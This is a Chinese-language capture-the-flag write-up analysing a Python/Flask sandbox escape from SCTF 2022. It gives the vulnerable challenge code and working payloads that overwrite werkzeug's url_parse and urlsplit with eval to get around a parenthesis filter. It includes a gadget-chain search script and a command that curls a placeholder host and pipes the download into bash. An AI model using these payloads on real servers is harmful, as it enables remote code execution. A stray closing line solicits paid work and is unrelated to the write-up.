Python 沙箱逃逸
Python 沙箱逃逸前言:无意间看到了 SCTF 2022 的 Pysandbox2,感觉利用很巧妙,简单跟进分析了一下。url_parse题目沙箱限制大概就是不能使用引号和小括号,这里给个差不多的源码,简单审计源码其实就是过滤了括号,导致了无法使用方法。一般可以覆盖掉黑名单检测方法,这里不细说该方法了,主要分析官方 wp 的 payload,需要 flask 2.x 版本的看到把 url_pa
Python 沙箱逃逸
前言:无意间看到了 SCTF 2022 的 Pysandbox2,感觉利用很巧妙,简单跟进分析了一下。
url_parse
题目沙箱限制大概就是不能使用引号和小括号,这里给个差不多的源码,
from flask import Flask, request, jsonify
app = Flask(__name__)
def is_blacklisted(cmd):
return '(' in cmd or ')' in cmd
@app.route('/')
def index():
with open(__file__, 'r', encoding='utf-8') as f:
return f.read()
@app.route('/calc', methods=['GET', 'POST'])
def calc():
cmd = request.form.get('cmd')
if cmd:
if is_blacklisted(cmd):
return "error"
try:
exec(cmd,{'app': app})
return "success"
except Exception as e:
return "error"
else:
return "no cmd"
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8088)简单审计源码其实就是过滤了括号,导致了无法使用方法。一般可以覆盖掉黑名单检测方法,这里不细说该方法了,主要分析官方 wp 的 payload,需要 flask 2.x 版本的
request.__class__._get_current_object.__globals__['__loader__'].__class__.__weakref__.__objclass__.contents.__globals__['__loader__'].exec_module.__globals__['_bootstrap_external']._bootstrap.sys.modules['werkzeug.urls'].url_parse=eval看到把 url_parse 函数覆盖为了 eval 函数,然后可以通过路由控制实现 eval 的参数控制,最后绕过小括号进行任意命令执行。
看 wp 是利用的递归脚本来查找的利用链,脚本如下,
import flask
from flask import request,render_template_string
from flask import config
app = flask.Flask(__name__)
app.config['FLAG'] = 'flag{11111}'
def search(obj, max_depth):
visited_clss = []
visited_objs = []
def visit(obj, path='obj', depth=0):
yield path, obj
if depth == max_depth:
return
elif isinstance(obj, (int, float, bool, str, bytes)):
return
elif isinstance(obj, type):
if obj in visited_clss:
return
visited_clss.append(obj)
print(obj)
else:
if obj in visited_objs:
return
visited_objs.append(obj)
# attributes
for name in dir(obj):
if name.startswith('__') and name.endswith('__'):
if name not in ('__globals__', '__class__', '__self__',
'__weakref__', '__objclass__', '__module__'):
continue
attr = getattr(obj, name)
yield from visit(attr, '{}.{}'.format(path, name), depth + 1)
# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
except:
pass
# items
elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)
yield from visit(obj)
@app.route('/')
def index():
for path, obj in search(app, 4):
if "url_parse" in str(obj):
return path简单分析一下,执行上面命令后,再次请求,会先调用 handle() 方法来处理相关请求,
然后一直跟到 make_environ 方法,
虽然这里也调用了 url_parse 方法,但是查看发现该方法并没有被覆盖掉,跟进发现就是调用的 urls.url_parse 方法,为什么没成功呢,继续向下看,
来到 write 方法中,这里调用了 send_response,
一直跟进,最后发现在 uri_to_iri 还有调用 url_parse
而且这个 url_parse 已经被覆盖为了 eval 方法
那为什么这里成功了,前面没成功,都是同一个函数。后面发现该方法调用就在 urls 中,意思是覆盖其实并不是覆盖调用了整个方法,只是覆盖掉了作用域中的方法。
后面就可以进行任意命令执行了,
urlsplit
而在 flask3.x 版本中肯定也是存在 url 路由处理函数的。简单查找发现也位于 serving.make_environ 方法,
还是利用上面的脚本找利用链
app.__class__.__weakref__.__objclass__._get_exc_class_and_code.__globals__['__loader__'].__class__._cache_bytecode.__globals__['sys'].modules['werkzeug.serving'].urlsplit然后同样进行覆盖,
在路由进行命令执行
__import__('os').system('curl$IFSip/bash.txt|bash')其实除了污染这些明显的路由处理函数,还有很多地方也会对路由或者其他参数进行处理的,同理这些地方都是可以覆盖的。在 ssti 漏洞中也算是一个绕过 waf 的思路的吧。
原型链污染
发现是可以利用 setattr 方法进行设置的,
setattr(app.__class__.__weakref__.__objclass__._get_exc_class_and_code.__globals__['__loader__'].__class__._cache_bytecode.__globals__['sys'].modules['werkzeug.serving'],"urlsplit",eval)但是总所周知原型链污染不能污染为方法,主要原因是因为 json 传参的时候必须要加双引号,如果直接构造其实是可以的。
可以帮我做代码模型吗?我给劳务费